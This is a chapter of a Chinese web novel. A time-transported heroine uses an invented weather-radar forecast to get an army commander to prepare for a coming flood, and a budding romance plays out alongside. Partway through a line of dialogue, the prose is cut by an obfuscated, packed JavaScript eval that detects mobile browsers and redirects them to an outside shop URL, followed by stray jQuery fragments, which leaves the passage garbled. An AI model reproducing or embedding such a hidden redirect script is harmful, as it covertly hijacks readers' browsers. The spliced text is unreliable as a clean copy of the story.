虽然目前她还挺喜欢这家伙的,但她还要再看看。毕竟结婚是一辈子的事情呢。这次防汛工作就是一个很好的机会,她可以看看他在做事时候到底是个什么样的人。


    “我听刘铁花说你们在堤坝那边种植被是不是?”


    “是。我们虽然是分地区进行每年的防汛工作的,但首长给我们都下达了明确的任务要求。”肖穆说起正事来还是很严肃的。


    谭薇继续,“我知道,我也跟市委那边确认过了。今年海城的防汛工作都是仿照往年进行的。但是,我这里有一个消息。”


    “是什么?”


    谭薇在心里把自己的话想了一遍,才开口,“我有个同学是在海城大学的,她告诉我今年海城大学电子系用电子管制作出了一个小型模拟的气象雷达。他们之前一段时间的降水探测结果准确率到达了45%。他们跟我说观测湿度和云层状况,预测今年雨季的水量或许是往年的两倍甚至更多。所以我觉得今年的防汛预防工作需要做得更好,我们也需要考虑到强降水有可能带来的一系列影响。你说呢?”


    谭薇当然是瞎说的。她根本不知道现在海城的气象预测到了什么精度,甚至现在有没有准确的气象预测都不好说。但她说的却又都是真的,因为那本年代文里明明白白地写了今年会迎来十几年都没有过的大暴雨。而这场连续多日的大暴雨会带来一场巨大的洪灾。


    大方堤坝会决堤。大方公社以及它的下游地方会全部遭遇洪灾。


    谭薇既然知道了这一消息,她当然想做些自己能做的事情。可是怎么她又不知道该怎么传达这一消息,总不可能说我就是知道,因为你们都是书里的人物吧。


    于是她想出了气象预测这样一个借口,而肖穆就是第一个听她这个说法的人。现在就看他到底信不信她这个说法了。


    “可是,据我所知,现在的气象预测精度都不高。当天的降雨都无法准确预测。”肖穆皱着眉,他并没有完全采纳谭薇的说法。


    但谭薇反而松了一口气,他只是质疑这个预测的准确性,但没有直接质疑她的说法,说明她的借口是可信的。


    于是谭薇继续向他解释,“对,我也不完全相信他们的预测。但这种事情就是宁可信其有不是吗。我们多做一些,就算是大炮打蚊子了,也算是给往后的防汛工作减减负嘛。而且这不是也说明我们对防汛工作积极吗。你说呢?”


    肖穆迟疑了一下,但还是点了头,“那你们想要做什么?”


    谭薇拿出了自己挎包里的那份计划书,“请肖团长过目。”


    看到她冲自己眨眨眼,肖穆也不由得笑了,他接过那份计划书。


    第一眼他就注意到了计划书上那熟悉的字迹,“是你写的?”


    谭薇点点头,“知道今年有可能有暴雨之后,我在海城请教了几位海城大学水利系的教授,他们给我出了几个主意。但是这些计划也只是一个草稿,具体怎么做还是要去大方堤坝上看了才知道。我们目前安排人手先做的,就是多制作储备一些防汛沙袋、木桩等防汛物资。”说着说着,谭薇忽然看着肖穆道,“干嘛这么看着我。是不是我让你惊讶了。”


    肖穆赶紧移开了眼睛,但随即又觉得这样太突兀了,于是整理了一番书桌上的水杯和笔记本。但紧接着,他就听到了旁边谭薇低低的笑,不由得耳朵都热起来。


    “肖团长。你这样害羞可不行啊。市委和军队还要通力合作呢。”


    “我没有害羞。”肖穆强迫自己不受谭薇影响,专注在面前这份计划书上。


    【堤坝维护状况确认……


    【河道水位确认及分级标准确认……】


    【防汛战略物资……】


    【防汛沙袋原料……】


    肖穆原本只是泛泛地看着,谁知这份清晰明了的计划书让他越看越看了进去。


    他甚至下意识地恢复到了工作的状态中,指着计划书的一点开口问道,“你这个堤坝维护状态下面分的这几个小点给我详细说说。”


    说完这句他才意识到这不是在军队中对下级说话,一时竟僵在了原地。


    谭薇噗嗤一声笑出来,“干嘛,不是问的很好吗。肖团长,防汛工作要紧,你可要分清轻重缓急啊。”


    “对了,你去看过大方堤坝吗?”


    肖穆点点头,“但只是上去走了一圈,我并不是特别了解水利工程。”


    谭薇于是给他讲解了一下自己的计划,“首先,也是最重要的,就是要检查一下堤坝主体有没有需要修补的地方。比如是否有裂缝啊渗水啊,是否可能会有滑坡的迹象啊。如果有的话,我们需要提前修补。”


    “其次,就是我要检查一下辅助的设施状况怎么样,尤其是排水沟,还有是不是存在截洪沟和备用泄洪区。理论上这些都是有的,但大方堤坝毕竟工程等级低,也不知道实际情况怎么样。这些都需要再确认。”


    “还有就是我还要再调查一下护坝员是不是有在正常工作,以及他的工作流程是不是科学。毕竟如果发生强降雨的话,水位上涨就是非常迅速的事情。我们能不能及时发现做出正确的应对是很重要的。”


    肖穆看着这样侃侃而谈的谭薇,一时竟感觉有些恍惚。原来我真的不是那么了解她。


    以前只知道谭薇年轻美貌还很有文化。但她的样子看着就像那种娇滴滴的大小姐,应该被人捧在手心里呵护。但现在的谭薇,她跟他说话的时候气势甚至可以说压倒了他。说起正事,又是那样的充满自信光彩夺目。


    原来,你并非是笼中之雀,而是那可以遨游天际的雁。


    肖穆甩甩头,强行把自己从胡思乱想中拔出来。


    回归正事。


    肖穆承认谭薇说的很有道理,于是他思考了一下,提议,“既然这样,明天就安排去堤坝巡视吧。”


    “依我看,为了咱们的工作效率,不如成立一个由军队和市委联合的防汛指挥部,这样也防止咱们做重复的工作,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040243|194426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说是不是?”


    “好。”


    谭薇见她的建议都被肖穆采纳了,肉眼可见的开心,她一抿嘴,脸颊边就出现了两个桃涡,“那我回去跟我们的同志们说。方书记那边……”说到方鼎,她停了下来,狡黠地挑眉看向肖穆


    “我去说。”


    很上道嘛,肖团长。


    “好,那就麻烦肖团长了。”谭薇脆生生地应了,“确定好时间之后麻烦通知我们一声。咱们明天见。”


    看到谭薇背上挎包站了起来准备离开,肖穆竟然不由得生出许多的失望来。但工作都已经说完了,他又想不出任何留住谭薇的理由来。他这么想,情绪就暴露在了脸上。


    谭薇自然是看出来了,她在心里偷笑,却还是装作什么也不知道那样跟肖穆告别,然后拉门出去。只是在门边的时候,她回头看着肖穆,拖长了声音,“肖团长,那我们明天见。”


    “啊,啊,明天见。”


    两人的目光在空中交汇。谭薇弯起眼睛。接着她转身离开了肖穆的办公室。


    很好,误会解除,深入了解了一下肖穆,同时防汛工作也有了大进展。谭薇回学校的路上脚步都轻快了几分。


    还没走到学校呢,一辆大卡车就吸引了她的视线。防汛小组的成员们,还有公社的妇女们都忙着从卡车里搬布料呢。


    是纺织厂的布料来了啊。


    “小薇,你回来啦。”刘铁花正扛着一大卷布料,开心地朝她打招呼,“我们的布料到了,你看,这布料真不错。我今天去,人家后勤的主任说了,你已经跟他们谈好了价格,所有的废弃布料全部让我们拉来了。太好了。”


    看着刘铁花充满朝气和干劲的脸庞,谭薇也说出了自己这边振奋的好消息,“我这边也很顺利,我跟肖团长提了成立防汛联合指挥部的事情。他答应了。还说明天就和我们一起去巡视堤坝呢。”


    “真的!”


    “肖团长这么好说话嘛。”


    “那我们的工作就好做了。”


    “小薇太厉害了。”


    四周的小组成员们也都围了上来,大家七嘴八舌地讨论着,个个脸上都洋溢着质朴的笑容。


    谭薇也不由得被他们感染了。


    这个年代的人们,精气神真是不一样啊。这种纯贡献的工作却都做得这样的积极。


    “开饭啦。”村东头突然传来一声嘹亮的喊声,是翠花婶。


    刘铁花,“快,今天翠花婶做了百叶卷肉呢。咱们快去,晚了就没了。”说着抓紧把手上的布料送到库房里,拉着谭薇就跑。


    四周的大家也都撒丫子往翠花婶家里冲去,一路上你追我赶,笑语连连。


    这样的轻松与活力,真好啊。谭薇被刘铁花拉着,奔跑在公社的土路上,甚至能感觉到风穿过自己的头发,拂过肩头,然后被自己穿了过去。


    也许这就是独属于这个年代的快乐吧——风、云、土地、青草,还有那些单纯的奋斗与努力。